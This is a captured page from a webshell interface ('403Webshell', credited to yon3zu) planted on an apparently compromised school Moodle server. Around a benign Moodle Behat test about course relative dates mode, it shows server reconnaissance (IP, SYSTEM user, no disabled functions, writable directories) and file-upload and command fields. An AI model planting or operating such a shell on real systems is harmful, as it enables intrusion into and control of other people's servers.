403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/myschool/triamudom/tuprblearn/course/tests/behat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/myschool/triamudom/tuprblearn/course/tests/behat/course_relativedatesmode.feature
@core @core_course
Feature: Courses can be set up to display dates relative to the user's enrolment date
  As a course creator
  In order for me to set up courses
  I need to be able to set up courses to display dates relative to the user's enrolment date

  @javascript
  Scenario: Create a course with relative dates feature disabled
    Given  I log in as "admin"
    And I set the following administration settings values:
      | enablecourserelativedates | 0 |
    And I am on site homepage
    And I turn editing mode on
    When I press "Add a new course"
    And I wait until the page is ready
    Then I should not see "Relative dates mode"
    And I should not see "This cannot be changed once the course has been created."

  @javascript
  Scenario: Create a course with relative dates feature enabled
    Given  I log in as "admin"
    And I set the following administration settings values:
      | enablecourserelativedates | 1 |
    And I am on site homepage
    And I turn editing mode on
    When I press "Add a new course"
    And I wait until the page is ready
    Then I should see "Relative dates mode"
    And I should see "Relative dates mode cannot be changed once the course has been created."

  Scenario: Edit courses with relative dates feature enabled
    Given  I log in as "admin"
    And I set the following administration settings values:
      | enablecourserelativedates | 1 |
    And I create a course with:
      | Course full name    | Course 1  |
      | Course short name   | C1        |
      | Relative dates mode | Yes       |
    And I create a course with:
      | Course full name    | Course 2  |
      | Course short name   | C2        |
      | Relative dates mode | No        |
    And I am on "Course 1" course homepage
    When I navigate to "Edit settings" in current page administration
    Then the "Relative dates mode" "select" should be disabled
    And the field "Relative dates mode" matches value "Yes"
    And I am on "Course 2" course homepage
    And I navigate to "Edit settings" in current page administration
    And the "Relative dates mode" "select" should be disabled
    And the field "Relative dates mode" matches value "No"

Youez - 2016 - github.com/yon3zu
LinuXploit